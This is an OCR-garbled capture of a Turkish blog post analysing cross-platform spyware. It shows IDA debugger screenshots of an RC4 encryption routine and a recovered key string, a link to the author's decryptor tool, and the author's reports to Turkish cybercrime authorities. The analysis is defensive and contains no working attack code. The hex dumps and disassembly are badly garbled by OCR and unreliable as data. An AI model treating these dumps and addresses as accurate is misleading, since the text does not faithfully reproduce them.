push eax : pdwbatalen| |pop ehx
push BCX : pbData xor BCX, BSp
push ebx ; dwFlags call @_ security_check_cookie@4 ; _ security_check_cookie(x)
push 1 ; Final add esp, 30h
push ebx s hHash retn
push edx + hKey sub_437120 endp
call ds:CryptEncrypt
P, ety
100.00% (310,2128) (701,3) 00036520 00437120: sub 437120 (Synchronized with EIF)

5] Hex view-1 0 & x ||[T] stackview o0& x
ARZ76190 &1 B8 7O 80 70 00 A% 8B 61 80 74 88 61 80 BB18F668  B82761DA  debug@l
URZ761AB 4C B0 6F 80 63 00 61 80 6C 80 S5C 98 54 89 BB1BF66B
0AzZ761E0 6D @0 7O 00 AB AB AB AB AB AB AB AB EE FE B018F66C IIHIWMBE

0R2761CH @@ 0O 00 00 B0 OO 00 00 6D F8 DN 36 AC BR OO18F670  OOSYB2CE  .data:word_S9B2C8
|B276100 m HE 49 54 43 B4 01 60 00 81 31 00 30 60 DB1BFG674 002738608 debug@19:082738460

.

A0Z761ER 30 09 32 00 3A 00 62 B0 35 00 3A 00 32 00 36 00 0.2.:.b. 5.:.2 6. TMHOWN 0012FE62: Stack[00000218]:( (Synchronized with ESF) =
UNENOWN 002761D0: debug0l2:002761D0 - [ ’

=] Output window o8& x
Flushing buffers, please wait...ok :

ython
AU:_ idle Down Disk: 23GB
—_—




[F) 104 view-EIP g X
Stack[ 0DBBPEDD] :0B18F648 db 5Dh ; | =
Stack[ 000OOEOD] :0018F649 db 5Fh ; _ B
Stack[ 0AOPEAD] :0A18F64A db  4sh ; D i

Stack[ BBBBBEAR] : BB18F64B db i}

Stack[GOBB0BEAG] - AB18F64C aWepwnhouses123 db *WePUHhouses12345° .8
Stack[ GAAAOEAA] : B818F65D db BFAh ; -

Stack[ B00OOEAD] :B818F65E db  1Bh

Stack[ B00BOEAR] :B818F65F db i}

Stack[ OOBOBERA] :8818F668 db 44h ; D
Stack[ GBBOBEAA] : 6818F661 db BCih ; -
Stack[ GAAABEAA] : AB18F662 db BF8h ; °
Stack[ OO00OEDO] - 8818F663 db BFCh ; n
Stack[ 0080PENA] :8818F664 db BFDh ; *
Stack[ OOBOBERA] - 8818F665 db 55h ; U
Stack[ GBBOBEAA] : 6818F666 db 43h ; C
Stack[ GBBOBERA] :6B18F667 db i}

Stack[ O000OEDO] - 0818F668 db BDBh ; -
Stack[ 0@BOPENA] :8B18F669 db 61h ; a
Stack[ O0BOBERA] :8B18F66A db 64%h ; d

Stack[ G9B0BEBA] :8818F66B db 8

UNENOWN 0018F&60: SEaGk[UDODOEDU] 0018F&60 (Synchronized with EIP)

File Edn Iump Scsrch View Debugger Options Windows Help
L = M e 300a @E @HF Sd D EY &
_-il T e
Lrary funcson 1 Data Ml Reguiar functon [ Unexplored [l Instructon () External symbel
[ e 8 [ Sruchres ) [ & e
(T 1D view-£T» B O 8 % |35t Generslregaters

[En% 00000001 « debugnie:a27610

|EBIi B080B1BE

loc_W355F6: ; dwBufLen jEcx 2FCDBI4C W

ebx |[ED} B0B0BAD2

esi ; int |ESI 80275100 % debug®i9: 00276100

AL LA & siftelemeye gidivor |EDT 88276088 W debugs19:an276080

a1 |EBP B018FASE v Stack[ 000G0818]: 018FASE
short Loc_u35SBR Ezsp 0018F668 w Stack[ 000AOE18]: O18F668

™ 5= [EIP B04355FD % sub_35568+9D
|EFL Bo0aE208

cmp [ebp+arg_h], 1
jnz short loc_435613 loc_l35588:
. moy ecx, dword_S59BOBC

100.00% (-30,1233) (448,3) 000349FD 004355FD: sub 435560+%D (Synchronized with EIR)

=
=
cscoso-“ososososes

[ Hex view-1 O 8 x [T stackview o6 x
00276190 41 B0 70 B0 70 00 4% 90 61 00 74 DO 61 00 5C 00 A.p.p.D.a.t.a. + oe18Féss [T debugd19: 0827 -
60276140 4C ©@ 6F 0D 63 00 61 00 GC 80 5C OO 54 00 65 00 L.o.c.a.l.\.T.e. DE1BF6OC

006276160 6D B0 78 B9 AB AD AR AB AR AB AB AB EE FE EE FE n.p.Mﬁs‘ﬁe:e: A018F670 00598208 .data:word_S9D2C8

A02761C0 B B 08 B9 B0 00 OB 8@ 6D FE DM 36 AC BA B0 1A YN 001BF674 00273868 debug@19:@6273860

06276100 3 ©7 BA 60 CO 69 A7 8D 71 &E 4B 86 5A 16 ©7 97 ‘-- i, qnK32z. -i. 0018F678  0ODBBOET

80276166 SE 75 46 BC 97 B3 B1 98 3B 3B EB 68 17 D1 BF 25 uph“y.,rn iy O01BF67C  OB18F6A8  Stack[ DEBDDE18]:0018F6AE
BO2761FA @D 28 OA 41 42 93 68 F@ SA FD 00 21 20 FA 67 A4 (unn# =2t 1)~

0B18FG6BL  BOOAOAO0
OB18F688 0000001

00276200 8F 1F 89 91 97 1B E3 4C 8D Ch B2 A1 FA BF E9 15 . .dab.pL
08276210 DB 99 B2 F8 87 42 AD A0 DD 15 B2 7F 30 4A A9 DE ii|"gB.4}
60276220 F7 DM F6 CF CS 6B F5 A1 27 72 7A 2E 1A ED 78 1E W+i-+k)i"

gﬁ BE18F6BD  7796EBFE  ntdll.dll:ntdll_EtwEventActivit

OU1BFGBC  7796EC@S  ntdll_dll:ntdll_EtwEventActivit:

00276230 ¥R 31 67 FD E8 25 1E 8 EC 86 8F 83 68 2B 32 SF  z1g°Fi. 883 . ahtz O91BF690  O18F6BE  Stack| BEODEE18 ] OB1BF6RE
0O276740 96 38 F2 B7 D7 OD 61 74 B6 7F 4B 66 AS 42 4C F9  {8=++. aty. HFHBL - OO18F694  7SBEEBA6 wininet.dll:wininet_HttpAddRequ
00276250 E9 0% A4 72 D1 AD 51 E6 SE C3 B6 C7 15 C3 4R 34 T. DI".Q}I L] OB18BF698 75CB9E7C wininet.dll:75CB9E7C

00276260 38 2D 15 5D 11 E3 58 CF EF DC FC 4% 6A DF 78 42 ;-.].pX-n_nDj zB DUIBFG9C 0000000y

nozrezrn 20 5C AE EC 8A EE F5 Es 9A CA F6 D1 E9 4 A4 FE '\«aéE)S“-v-an: OB1BFGAD  0000DDOOT

00276260 A8 A4 1C F3 B4 EO 6B 93 91 51 AR OA F7 29 F8 &F ;ii.-dakieQ-.0)°0 OB18F6AL  0018F804 Stack[DRODOS18]:0018FE0L
00276290 89 DA A7 BY 4A 51 61 98 EB 7E CE ES &1 5D 27 A3  #+2)JQaijd~+sA]"d OB1BF6AS  OB18FODC Stack[DBO0BE18]:0MBFADE

00276240 E1 ED 85 AB DE BF 38 63 84 31 73 F1 0D 6B 79 A6 DFS%|+Bciiss.ky®

THENOWN 0018F66%: Stack[00000818]:( (Synchronized with ESF) -

UNEROWN 002761D0: debug019:002761D0 -4 nr
[E] Output vandow

73BBOBP00: loaded I::\Ulnﬂnus\sbsmmh\ussrsnu.nll

(pytren]

AU:__idle Down Disk: 23GB

Anahtarin olusturulmasinda kullanilan karakter dizisini bulduktan sonra

[= - 1

Python ile RC4 sifrelenen veriyi ¢O6zen bir program hazirlamaya karar verdim

ve ortaya adina Polgov Decryptor verdigim arac¢ c¢ikiverdi. Bu ara¢ sayesinde

aglarinda paket kaydi (full packet capture) yapanlarin gecmiste
sistemlerinden sizan sifreli verileri cozebileceklerine Umit ediyorum.


https://github.com/mertsarica/hack4career/blob/master/codes/polgov_decryptor.py
https://en.wikipedia.org/wiki/Packet_capture_appliance

BN CAWINDOWS\system32\emd.exe - O X

YMBpp41xbkuGWhbHL151Rry)
jFn/egl ho+DaC

EKFkhcebQ

Decrypted B2 :b = 2ubi A 3eie3ie
194 .181.132.206 Windo
x 8 6 . . M
¥ 5 hiksk p 5= 2 97 -.8.1:888¢8 VMWAR
y pDa

rs\Mert\Desktop>g

Sonuc¢ itibariyle kum havuzu (sandbox) raporlarindan da elde edilen bilgiler
1s1ginda, sistem lzerinden ses, tus kaydi ve parola bilgilerini calabilen,
adini bilemedigim bu ileri seviye casus yazilim ile birilerinin uzun bir
siredir Linux, Windows ve mac0S kullanicilarini hedef aldigini gorebiliyoruz.
0zellikle APT zararli yazilimlarinda karsilastigimiz LUA betik dili
kullaniminin bu zararli yazilimda da kullaniliyor olmasi bu zararli yazilimin
arkasinda organize bir grubun olabilecegi suphesini arttiriyor. Son olarak
Windows kullanicilari kadar Linux ve macOS kullanicilarina da internet
sitelerini gezerken dikkatli ve tedbirli olmalarinda fayda olacaktir.

Yazima son noktayi koymadan o6nce, zararli yazilima iliskin yapmis oldugum
bildirime geri doénliste bulunup, calisma baslatan Siber Suc¢larla Micadele
Daire Baskanligi‘na sorumlu bir vatandas olarak tesekkiir eder, bir sonraki

yazida gorusmek dilegiyle herkese givenli gunler dilerim.

Siber Suclarla M. D.B Bilisim Sis. Yon. islenen S. Br. < @egm.gov.tr= -
Btome=

X, Turkish~ English~  Translate message Tumn off for: Turkish
Siber Suglarla Miicadele Daire Bagkanligina yapmis oldujunuz ihbar ve sikayetler ile ilgili olarak géstermis oldugunuz duyarliliktan dolay! tesekkir ederiz
Gondermis oldugunuz hususlarla ilgili gerekli calismalara baglanmistir.

Bilgilerinize rica ederiz.

SIBER SUCLARLA MUCADELE DAIRE BASKANLIGI

Tarihce:

13 Kasim’da USOM’'a konuya iliskin bildirimde bulundum.


https://www.hybrid-analysis.com/sample/47af0f23a5688c2c796f470a45ab055171d1b2230e00a276b541d503677d149a?environmentId=100
https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/
https://www.lua.org/
http://www.siber.pol.tr/
http://www.siber.pol.tr/

20 Kasim’da Siber Suclar Daire Baskanligi’na bildirimde bulundum.

22 Kasim’da zararli yazilimlari barindiran Universite yetkilisine konuya
iliskin bildirimde bulundum.

29 Kasim’da USOM tarafindan kurumlara zararli baglanti adresleri ile

ilgili uyari e-postasi gonderildi.

Not: Bu yazi ayrica Pi Hediyem Var #9 oyununun ¢ozum yolunu da icermektedir.


https://www.mertsarica.com/pi-hediyem-var-9/

